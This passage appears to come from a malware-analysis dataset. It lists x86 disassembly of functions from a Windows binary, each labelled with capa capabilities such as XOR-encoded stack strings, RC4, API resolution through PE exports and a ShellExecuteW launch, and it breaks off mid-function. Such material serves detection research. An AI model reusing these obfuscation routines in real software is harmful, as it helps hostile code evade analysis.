joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406d60
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x406f06
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x406eff
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, esi
sub edx, eax
jmp 0x406df5
mov eax, dword [esp]
sub eax, dword [esp + 4]
add ebp, eax
mov esi, dword [esp + 8]
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
sub esi, dword [esp]
mov edx, 0x15b0
je 0x406eff
xor ebx, ebx
cmp edx, 8
mov dword [esp], edx
mov dword [esp + 8], esi
jb 0x406e6e
mov ebx, edx
and ebx, 0x1ff8
xor eax, eax
nop
nop
nop
mov edx, eax
movzx eax, byte [ebp + eax]
add eax, edi
add ecx, eax
movzx esi, byte [ebp + edx + 1]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 2]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 3]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 4]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 5]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 6]
add eax, esi
add ecx, eax
movzx edi, byte [ebp + edx + 7]
add edi, eax
add ecx, edi
lea eax, [edx + 8]
add edx, 0xf
cmp edx, dword [esp]
mov edx, dword [esp]
jb 0x406e10
add ebp, eax
mov esi, dword [esp + 8]
mov eax, ebx
sub eax, edx
jae 0x406dbd
mov dword [esp + 0xc], eax
mov eax, edx
and eax, 3
mov dword [esp + 4], ebx
je 0x406eb0
neg eax
xor ebx, ebx
mov edx, ebp
nop
nop
nop
movzx esi, byte [edx]
inc edx
add edi, esi
add ecx, edi
dec ebx
cmp eax, ebx
jne 0x406e90
mov eax, dword [esp + 4]
sub eax, ebx
cmp dword [esp + 0xc], 0xfffffffc
ja 0x406db0
jmp 0x406ebf
mov eax, ebx
mov edx, ebp
cmp dword [esp + 0xc], 0xfffffffc
ja 0x406db0
mov ebx, dword [esp]
sub ebx, eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx + eax]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 1]
add edi, esi
add ecx, edi
movzx esi, byte [edx + eax + 2]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 3]
add edi, esi
add ecx, edi
add eax, 4
cmp ebx, eax
jne 0x406ed0
jmp 0x406db0
shl ecx, 0x10
or ecx, edi
jmp 0x406f0b
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x406f20
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x406f7a
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
test edx, edx
je 0x406f7c
not eax
xor esi, esi
nop
nop
nop
nop
movzx edi, byte [ecx + esi]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x446c50]
mov eax, ebx
shr eax, 4
mov ebp, ebx
and ebp, 0xf
shr edi, 4
and ebx, edi
add edi, ebp
add ebx, ebx
sub edi, ebx
xor eax, dword [edi*4 + 0x446c50]
inc esi
cmp edx, esi
jne 0x406f40
not eax
jmp 0x406f7c
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40c7e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x14]
mov ebx, dword [edx + 8]
mov esi, 1
cmp ebx, eax
jae 0x40c84c
mov edi, edx
cmp dword [esp + 0x18], 0
je 0x40c82e
cmp ebx, 1
adc ebx, 0
cmp ebx, eax
jae 0x40c830
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ebx
and edx, 0xfffffffd
mov ebp, ebx
and ebp, 2
or ebx, 2
imul ebx, ebp
xor ebp, 2
imul ebp, edx
add ebx, ebp
cmp ebx, eax
jb 0x40c810
jmp 0x40c830
mov ebx, eax
push ebx
push dword [edi + 0xc]
push dword [edi]
push dword [ecx + 0x34]
call dword [ecx + 0x30]
add esp, 0x10
test eax, eax
je 0x40c84a
mov dword [edi], eax
mov dword [edi + 8], ebx
jmp 0x40c84c
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40d120
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebx
push edi
push esi
sub esp, 0x2c
call fcn.0043ffc0
test al, al
je 0x40d377
mov dword [esp], 0x1f1ec235
mov dword [esp + 4], 0
mov eax, 0x3a
mov ecx, 0xc6
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x3a]
mov edx, eax
and edx, esi
lea edi, [ecx + edx*2]
add edx, edx
xor edi, esi
not edx
add edx, eax
and edx, esi
add edx, edx
sub edx, edi
add dl, 0xde
mov byte [esp + eax - 0x3a], dl
inc eax
dec ecx
cmp eax, 0x42
jne 0x40d150
mov eax, dword [esp]
mov ecx, eax
not ecx
or ecx, 0xff368126
add ecx, eax
inc ecx
mov esi, eax
and esi, 0xc97ed9
mov edx, eax
or eax, 0xc97ed9
imul eax, esi
xor esi, 0xc97ed9
or edx, 0xff368126
and edx, ecx
mov edi, ecx
not edi
and edi, esi
imul edi, edx
mov edx, esi
and edx, ecx
or esi, ecx
imul esi, edx
add esi, edi
mov ecx, esi
and ecx, eax
xor eax, esi
lea ecx, [eax + ecx*2]
mov eax, ecx
shr eax, 7
mov edx, eax
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
mov ecx, 0xdfffffff
sub ecx, eax
mov edx, eax
and edx, 0xf4601e57
mov esi, eax
and esi, 0xb9fe1a8
or eax, 0xb9fe1a8
imul eax, esi
mov dword [esp], 0xd188a9f
mov byte [esp + 4], 0
and ecx, 0xb9fe1a8
imul ecx, edx
mov edx, 0x13216140
nop
nop
nop
movzx ebx, byte [esp + edx - 0x13216140]
mov esi, ebx
and esi, 0xfffffff3
or esi, 0x10049004
and ebx, 0xc
xor ebx, edx
xor ebx, esi
lea esi, [ebx + ebx]
and esi, 0x7e
xor esi, 8
xor ebx, 0xbb
add ebx, esi
inc bl
mov byte [esp + edx - 0x13216140], bl
inc edx
cmp edx, 0x13216145
jne 0x40d210
add eax, ecx
cmp eax, dword [esp]
jne 0x40d340
mov dword [esp], 0x39a93b91
mov dword [esp + 4], 0x25f42794
mov dword [esp + 8], 0x21ba238f
mov dword [esp + 0xc], 0x2dce2f8b
mov dword [esp + 0x10], 0x29872bfd
mov dword [esp + 0x14], 0x1728
mov dword [esp + 0x18], 0
mov eax, 0xcb
mov ecx, 0x85220d34
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0xcb]
lea esi, [edx + edx]
not esi
add esi, edx
and esi, eax
mov edi, edx
not edi
and edi, ecx
mov ebx, ecx
xor ebx, edx
sub edx, ebx
add edx, edi
or edx, esi
add dl, 9
mov byte [esp + eax - 0xcb], dl
inc eax
dec ecx
cmp eax, 0xe7
jne 0x40d2a0
mov dword [esp + 0x1c], 0x33423147
mov dword [esp + 0x20], 0x3f483d51
mov dword [esp + 0x24], 0x3938
mov word [esp + 0x28], 0
mov byte [esp + 0x2a], 0
mov eax, 0x3f263eb4
nop
nop
nop
movzx ecx, byte [esp + eax - 0x3f263e98]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x7c
mov byte [esp + eax - 0x3f263e98], cl
inc eax
cmp eax, 0x3f263ec3
jne 0x40d300
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x4483da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00438620
test al, al
je 0x40d372
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d35f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040e2e0
test al, al
je 0x40d372
call fcn.00410be0
call fcn.0040fb20
call fcn.00440a30
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d3d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x404
mov dword [esp], ecx
mov esi, dword [esp + 0x418]
movzx eax, word [esi]
lea ebp, [esp + 4]
test ax, ax
je 0x40d515
mov edx, 0x1ff
nop
nop
nop
nop
nop
nop
nop
movzx ebx, ax
lea edi, [esi + 2]
cmp bx, 0x7f
ja 0x40d420
lea eax, [ebp + 1]
mov byte [ebp], bl
jmp 0x40d4c0
cmp ebx, 0x7ff
ja 0x40d450
cmp edx, 2
jb 0x40d450
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [ebp], al
and bl, 0x3f
or bl, 0x80
lea eax, [ebp + 2]
mov byte [ebp + 1], bl
jmp 0x40d4c0
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x40d4da
cmp edx, 4
jb 0x40d4da
movzx edi, word [esi + 2]
add esi, 4
mov eax, ebx
xor eax, 0xd800
and ebx, 0x27ff
add ebx, ebx
sub ebx, eax
shl ebx, 0xa
lea ecx, [ebx + edi]
add ecx, 0xffff2400
lea eax, [ebx + edi]
add eax, 0x2400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [ebp], bl
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [ebp + 1], al
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [ebp + 2], cl
mov eax, edi
and al, 0x3f
or al, 0x80
mov ecx, eax
lea eax, [ebp + 4]
mov byte [ebp + 3], cl
mov edi, esi
add edx, ebp
sub edx, eax
mov esi, edi
mov ebp, eax
movzx eax, word [esi]
test ax, ax
je 0x40d515
test edx, edx
jne 0x40d400
jmp 0x40d515
movzx eax, ax
cmp eax, 0xdc00
jne 0x40d4e8
mov esi, edi
jmp 0x40d4c8
cmp edx, 3
jb 0x40d511
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [ebp], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ebp + 1], al
and bl, 0x3f
or bl, 0x80
lea eax, [ebp + 3]
mov byte [ebp + 2], bl
jmp 0x40d4c0
mov eax, ebp
jmp 0x40d4c0
mov esi, dword [esp + 0x420]
mov edx, dword [esp + 0x41c]
mov byte [ebp], 0
xor eax, eax
jmp 0x40d538
mov byte [esp + eax + 0x204], bl
inc eax
movzx ecx, byte [esp + eax + 4]
mov bl, 0x2f
cmp ecx, 0x5c
je 0x40d530
test ecx, ecx
je 0x40d54c
mov ebx, ecx
jmp 0x40d530
mov byte [esp + eax + 0x204], 0
lea eax, [esp + 0x204]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push esi
push edx
push eax
push ecx
call fcn.00408f80
add esp, 0x28
test eax, eax
setne al
add esp, 0x404
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40d610
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x5c
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
mov dword [esp + 0x18], ecx
mov eax, dword [ecx + 0x60]
mov dword [esp + 0x14], eax
mov word [esp], 0x1b25
mov byte [esp + 2], 0x12
mov word [esp + 3], 0
xor eax, eax
mov ebp, 0x3b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + eax]
mov ecx, ebp
and ecx, 0x2a
mov ebx, eax
and ebx, 5
or ebx, ecx
xor ebx, 0x2e
lea ecx, [eax + 0xc4]
or ebx, ecx
and ebx, edi
or ecx, edi
xor ecx, ebx
add cl, 0x2c
mov byte [esp + eax], cl
dec ebp
inc eax
cmp eax, 5
jne 0x40d650
mov dword [esp + 8], 0x1e181c02
mov word [esp + 0xc], 0x251e
mov dword [esp + 0xe], 0
mov byte [esp + 0x12], 0
xor ebx, ebx
nop
nop
nop
nop
mov eax, ebx
add al, 0xb8
xor al, byte [esp + ebx + 8]
add al, 0x68
mov byte [esp + ebx + 8], al
inc ebx
cmp ebx, 0xb
jne 0x40d6a0
mov dword [esp + 0x1c], 0xaaa89495
mov dword [esp + 0x20], 0xa6a69884
mov dword [esp + 0x24], 0xa3565895
mov dword [esp + 0x28], 0x9e63a257
mov dword [esp + 0x2c], 0xae9b6f6e
mov dword [esp + 0x30], 0x60b5c3c1
mov dword [esp + 0x34], 0x65936562
mov dword [esp + 0x38], 0x72aea860
mov dword [esp + 0x3c], 0x787d797f
mov dword [esp + 0x40], 0x707b7975
mov dword [esp + 0x44], 0x7dc6af72
mov dword [esp + 0x48], 0x46877377
mov dword [esp + 0x4c], 0x7e8a787c
mov dword [esp + 0x50], 0x72803d53
mov dword [esp + 0x54], 0x315b748d
mov byte [esp + 0x58], 0x14
mov word [esp + 0x59], 0
mov byte [esp + 0x5b], 0
xor ebx, ebx
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ebp + 0x1c]
mov ecx, ebx
and ecx, 0x24
mov edi, ebp
xor edi, 0x9d127ed2
add edi, ecx
xor edi, eax
mov ecx, 0x1a
sub ecx, edi
and edi, 1
or ecx, 1
add ecx, edi
mov al, 1
sub al, cl
mov byte [esp + ebp + 0x1c], al
inc ebp
add ebx, 2
cmp ebp, 0x40
jne 0x40d750
mov eax, dword [esp + 0x70]
add eax, dword [esp + 0x14]
movzx ebx, byte [esp + 0x1c]
mov edi, eax
test bl, bl
je 0x40d7ac
lea ebp, [esp + 0x1d]
mov edi, eax
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [ebp]
inc ebp
test bl, bl
jne 0x40d7a0
mov byte [edi], 0
movzx ebx, byte [esi]
test bl, bl
je 0x40d7cb
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40d7c0
mov byte [edi], 0
movzx ebx, byte [esp + 8]
test bl, bl
je 0x40d7eb
lea esi, [esp + 9]
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40d7e0
mov byte [edi], 0
movzx ebx, byte [edx]
test bl, bl
je 0x40d80b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x40d800
mov byte [edi], 0
movzx edx, byte [esp]
test dl, dl
je 0x40d82b
lea esi, [esp + 1]
nop
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x40d820
mov byte [edi], 0
sub edi, eax
mov eax, dword [esp + 0x18]
add dword [eax + 0x60], edi
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40e2e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x194
mov eax, dword [0x44f3c4]
mov dword [esp + 4], eax
mov dword [esp + 0x114], 0x3020900
mov byte [esp + 0x118], 0
lea ecx, [esp + 0x114]
mov edx, 0xbf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ecx]
lea esi, [edx - 0x13216200]
or esi, eax
and eax, edx
not esi
or esi, eax
add esi, 0xa05919bf
mov eax, esi
and eax, 1
xor esi, 1
lea eax, [esi + eax*2]
mov byte [ecx], al
inc ecx
dec edx
cmp edx, 0xba
jne 0x40e320
mov ecx, dword [esp + 0x114]
mov dword [esp + 0x14], 0xff70983
mov dword [esp + 0x18], 0x3fa0dfe
mov dword [esp + 0x1c], 0x7f201f4
mov dword [esp + 0x20], 0x1b2805f4
mov dword [esp + 0x24], 0x1fe219fc
mov dword [esp + 0x28], 0x13121de0
mov dword [esp + 0x2c], 0
mov edx, 0x79ec49c2
mov esi, 0x8613b63d
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + edx - 0x79ec49ae]
mov eax, ebx
xor eax, edx
or eax, esi
mov edi, eax
not edi
and eax, 2
mov ebp, edi
and ebp, 0xfd
imul ebp, eax
mov eax, edi
and eax, 2
or edi, 2
imul edi, eax
add edi, ebp
lea ebp, [esi + 0x79ec4a00]
and ebp, edi
mov eax, edi
not eax
and eax, edx
sub eax, ebp
add al, bl
add al, 0x36
mov byte [esp + edx - 0x79ec49ae], al
inc edx
dec esi
cmp edx, 0x79ec49de
jne 0x40e3a0
lea esi, [esp + 0x14]
push ecx
push 0
push esi
call dword [esp + 0x10]
mov ecx, 0x44f38c
push eax
call fcn.0043fcf0
movzx eax, al
mov eax, dword [eax*4 + 0x4499e8]
mov ecx, 0xbf23b5f0
xor ecx, dword [0x4499f0]
add eax, ecx
inc eax
jmp eax
Function at 0x40fb30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x438
mov ebx, dword [esp + 0x464]
mov edi, dword [esp + 0x44c]
mov dword [esp + 0x38], 0x893b8bdf
mov dword [esp + 0x3c], 0x8531870e
mov dword [esp + 0x40], 0x81368330
mov dword [esp + 0x44], 0x9def9f3f
mov dword [esp + 0x48], 0x99e89bd7
mov dword [esp + 0x4c], 0x95f697e8
mov dword [esp + 0x50], 0x913b93ec
mov dword [esp + 0x54], 0xed5cef27
mov dword [esp + 0x58], 0xe95beb50
mov dword [esp + 0x5c], 0xe56be761
mov dword [esp + 0x60], 0xe1b0e384
mov dword [esp + 0x64], 0xfd9eff4c
mov dword [esp + 0x68], 0xf98afbb3
mov dword [esp + 0x6c], 0xf586f78a
mov dword [esp + 0x70], 0xf192f3b1
mov dword [esp + 0x74], 0xcd79cf59
mov dword [esp + 0x78], 0xc980cb7e
mov dword [esp + 0x7c], 0xc583c784
mov dword [esp + 0x80], 0xc14ac3a4
mov dword [esp + 0x84], 0xdd92df8a
mov dword [esp + 0x88], 0xd9badbab
mov dword [esp + 0x8c], 0xd566d787
mov dword [esp + 0x90], 0xd166d364
mov dword [esp + 0x94], 0x2d872f6b
mov dword [esp + 0x98], 0x29942b97
mov dword [esp + 0x9c], 0x2591277d
mov dword [esp + 0xa0], 0x215323a8
mov dword [esp + 0xa4], 0x3d733f6b
mov dword [esp + 0xa8], 0x39483b75
mov dword [esp + 0xac], 0x357c3775
mov dword [esp + 0xb0], 0x314a3354
mov dword [esp + 0xb4], 0xd560f65
mov dword [esp + 0xb8], 0x9590ba0
mov dword [esp + 0xbc], 0x572075c
mov dword [esp + 0xc0], 0x1b60364
mov dword [esp + 0xc4], 0x1dab1fb7
mov dword [esp + 0xc8], 0x197a1ba7
mov dword [esp + 0xcc], 0x15ad1741
mov dword [esp + 0xd0], 0x11a713a9
mov dword [esp + 0xd4], 0x6d196fa1
mov dword [esp + 0xd8], 0x69376b0c
mov dword [esp + 0xdc], 0x65e867d0
mov dword [esp + 0xe0], 0x61d163d5
mov dword [esp + 0xe4], 0x7d0f7fdb
mov dword [esp + 0xe8], 0x79357b33
mov dword [esp + 0xec], 0x7504773f
mov dword [esp + 0xf0], 0x71007304
mov dword [esp + 0xf4], 0x4d3c4f00
mov dword [esp + 0xf8], 0x492a4b3c
mov dword [esp + 0xfc], 0x45f947e5
mov dword [esp + 0x100], 0x41fd43fe
mov dword [esp + 0x104], 0x5de95fce
mov dword [esp + 0x108], 0x59115b2d
mov dword [esp + 0x10c], 0x551f5715
mov dword [esp + 0x110], 0x511f5326
mov dword [esp + 0x114], 0xadaeaf1a
mov eax, dword [0x44f394]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
and edx, 0x21
mov esi, ecx
and esi, 2
mov ebp, esi
xor ebp, 2
imul ebp, edx
or edx, 2
imul edx, esi
add edx, ebp
mov esi, ecx
xor esi, 0x6d3abc23
mov ebp, edx
and ebp, esi
xor esi, edx
lea edx, [esi + ebp*2]
lea esi, [edx + edx]
not esi
add esi, edx
and esi, 0x21
and edx, 0xde
or edx, esi
xor dl, byte [esp + ecx + 0x38]
xor dl, 0x21
add dl, 0x51
mov byte [esp + ecx + 0x38], dl
inc ecx
cmp ecx, 0xe0
jne 0x40fd90
lea ebp, [esp + 0x38]
push 0
push 0
push 0
push 0
push ebp
call eax
mov esi, eax
xor eax, eax
test esi, esi
setne al
mov eax, dword [eax*4 + 0x449d4c]
mov ecx, 0x377c8de5
xor ecx, dword [0x449d54]
add eax, ecx
inc eax
jmp eax
Function at 0x410370
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x23c
mov dword [esp + 0x3c], 0x71cf7fa3
mov dword [esp + 0x40], 0x75c973fa
mov dword [esp + 0x44], 0x49ca77c8
mov dword [esp + 0x48], 0x4dbb4beb
mov dword [esp + 0x4c], 0x41b04fbb
mov dword [esp + 0x50], 0x45a243b0
mov dword [esp + 0x54], 0x59ef47bc
mov dword [esp + 0x58], 0x5de45be3
mov dword [esp + 0x5c], 0x51ef5ff8
mov dword [esp + 0x60], 0x55e753d9
mov dword [esp + 0x64], 0x298857b4
mov dword [esp + 0x68], 0x2dca2bfc
mov dword [esp + 0x6c], 0x21de2fdf
mov dword [esp + 0x70], 0x25d223de
mov dword [esp + 0x74], 0x39c627e9
mov dword [esp + 0x78], 0x3d813b91
mov dword [esp + 0x7c], 0x31c83f82
mov dword [esp + 0x80], 0x35ff33c4
mov dword [esp + 0x84], 0x9be37d4
mov dword [esp + 0x88], 0xdfe0bfe
mov dword [esp + 0x8c], 0x1ee0ff7
mov dword [esp + 0x90], 0x5b203c3
mov dword [esp + 0x94], 0x19ba07b4
mov dword [esp + 0x98], 0x1db31bbf
mov dword [esp + 0x9c], 0x11bc1fbb
mov dword [esp + 0xa0], 0x15a913cd
mov dword [esp + 0xa4], 0xe9e717a0
mov dword [esp + 0xa8], 0xed1feb1f
mov dword [esp + 0xac], 0xe110ef25
mov dword [esp + 0xb0], 0xe514e315
mov dword [esp + 0xb4], 0xf91ee704
mov dword [esp + 0xb8], 0xfd22fb25
mov dword [esp + 0xbc], 0xf121ff28
mov dword [esp + 0xc0], 0xf50ef32c
mov dword [esp + 0xc4], 0xc94af714
mov dword [esp + 0xc8], 0xcd77cb73
mov dword [esp + 0xcc], 0xc12ecf6b
mov dword [esp + 0xd0], 0xc565c319
mov dword [esp + 0xd4], 0xd97bc761
mov dword [esp + 0xd8], 0xdd21db69
mov dword [esp + 0xdc], 0xd11bdf3c
mov dword [esp + 0xe0], 0xd560d368
mov dword [esp + 0xe4], 0xa969d765
mov dword [esp + 0xe8], 0xad5bab0f
mov dword [esp + 0xec], 0xa15daf5f
mov dword [esp + 0xf0], 0xa55ca36b
mov dword [esp + 0xf4], 0xb958a754
mov dword [esp + 0xf8], 0xbd44bb48
mov dword [esp + 0xfc], 0xb15ebf4c
mov dword [esp + 0x100], 0xb511b365
mov dword [esp + 0x104], 0x8915b712
mov dword [esp + 0x108], 0x8d318b3a
mov dword [esp + 0x10c], 0x81798f7d
mov dword [esp + 0x110], 0x854b8375
mov dword [esp + 0x114], 0x9973877a
mov dword [esp + 0x118], 0x9d9a9b6e
mov word [esp + 0x11c], 0
mov eax, dword [0x44f394]
mov dword [esp + 4], eax
mov ecx, 0xf976ad53
mov edx, 0xf2ed5aa6
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x68952e9]
mov edi, edx
and edi, 0xe0c81b2a
mov ebx, ecx
xor ebx, 0xf4e51d95
mov eax, 0x12
sub eax, edi
sub eax, ebx
add edi, ebx
add edi, 0xad
mov ebx, edi
and ebx, esi
and eax, 0x27
and edi, 0xd8
or edi, eax
xor edi, esi
xor edi, 0x27
not ebx
and ebx, edi
add bl, 0x17
mov byte [esp + ecx + 0x68952e9], bl
inc ecx
add edx, 2
cmp ecx, 0xf976ae35
jne 0x4105d0
lea esi, [esp + 0x3c]
push 0
push 0
push 0
push 0
push esi
call dword [esp + 0x18]
mov ebp, eax
xor eax, eax
test ebp, ebp
setne al
mov eax, dword [eax*4 + 0x449e7c]
mov ecx, 0xf8e3c55b
xor ecx, dword [0x449e84]
add eax, ecx
inc eax
jmp eax
Function at 0x41ca90
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x10b8
call fcn.0040c860
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x41cab0
sar esi, 1
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x4506d8]
mov ebx, dword [esp + 0x28]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41cae4
mov eax, 0xffffffff
jmp 0x41cae7
lea eax, [ebx + ebx]
push eax
call fcn.0040c900
add esp, 4
lea ecx, [esp + 0x28]
push ecx
push ebx
mov dword [esp + 0x28], eax
push eax
push esi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x4506d8]
mov eax, dword [esp + 0x28]
mov ecx, eax
add ecx, 0xd
js 0x41cb1c
lea edi, [eax*2 + 0x1a]
push edi
call fcn.0040c900
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0xb4], 0xe152e740
mov dword [esp + 0xb8], 0xdd6fe343
mov dword [esp + 0xbc], 0xd9bedf50
mov dword [esp + 0xc0], 0xd545db76
mov dword [esp + 0xc4], 0xd15bd746
mov dword [esp + 0xc8], 0xcd43d34b
mov dword [esp + 0xcc], 0xc9cecf5a
mov byte [esp + 0xd0], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0xb4]
mov ebx, eax
and ebx, 0x32
mov edx, ecx
xor edx, 0xf9713d59
add edx, ebx
mov ebx, edx
and ebx, esi
add edx, esi
add ebx, ebx
sub edx, ebx
add dl, 0x43
mov byte [esp + ecx + 0xb4], dl
inc ecx
add eax, 2
cmp ecx, 0x1d
jne 0x41cb90
mov eax, dword [esp + 0x20]
movzx ecx, word [eax]
mov esi, dword [esp + 4]
mov eax, esi
test cx, cx
je 0x41cbf1
mov eax, dword [esp + 0x20]
lea edx, [eax + 2]
mov eax, esi
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41cbe0
mov word [eax], 0
movzx ecx, word [esp + 0xb4]
test cx, cx
je 0x41cc21
lea edx, [esp + 0xb6]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41cc10
mov word [eax], 0
lea eax, [esp + 0x48]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00443eb0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b534]
Function at 0x41fea0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x48
mov esi, dword [esp + 0x68]
mov ebx, dword [esp + 0x64]
xor eax, eax
test ebx, ebx
setne al
mov dword [esp + 0x38], 0
xor edi, edi
jmp dword [eax*4 + 0x44b714]
Function at 0x421f40
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
mov edi, dword [esp + 0x38]
mov ebx, 0xfffffffe
cmp word [edi + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0x421f50
sar ebx, 1
lea eax, [esp + 8]
push eax
push 0
push 0
push ebx
push edi
push 0
call dword [0x4506d8]
mov ebp, dword [esp + 8]
test ebp, ebp
jns 0x421f7f
mov eax, 0xffffffff
jmp 0x421f86
lea eax, [ebp*2]
push eax
call fcn.0040c900
add esp, 4
mov esi, eax
lea eax, [esp + 8]
push eax
push ebp
push esi
push ebx
push edi
push 0
call dword [0x4506d8]
lea edi, [esp + 0xc]
push edi
push esi
call fcn.00444030
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b8e8]
Function at 0x423c10
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov edi, dword [esp + 0x28]
mov eax, 0xfffffffe
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x423c20
cmp eax, 0xffffffed
jge 0x423c37
mov eax, 0xffffffff
jmp 0x423c3a
add eax, 0x12
push eax
call fcn.0040c900
add esp, 4
mov esi, eax
mov dword [esp], 0xe113e700
mov dword [esp + 4], 0xfd69e31f
mov dword [esp + 8], 0xf9c8ff30
mov dword [esp + 0xc], 0xf518fb04
mov dword [esp + 0x10], 0xf7f4
mov eax, 0x25d3f529
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x25d3f529]
xor ecx, eax
mov edx, ecx
and edx, 0x30
mov ebx, ecx
and ebx, 2
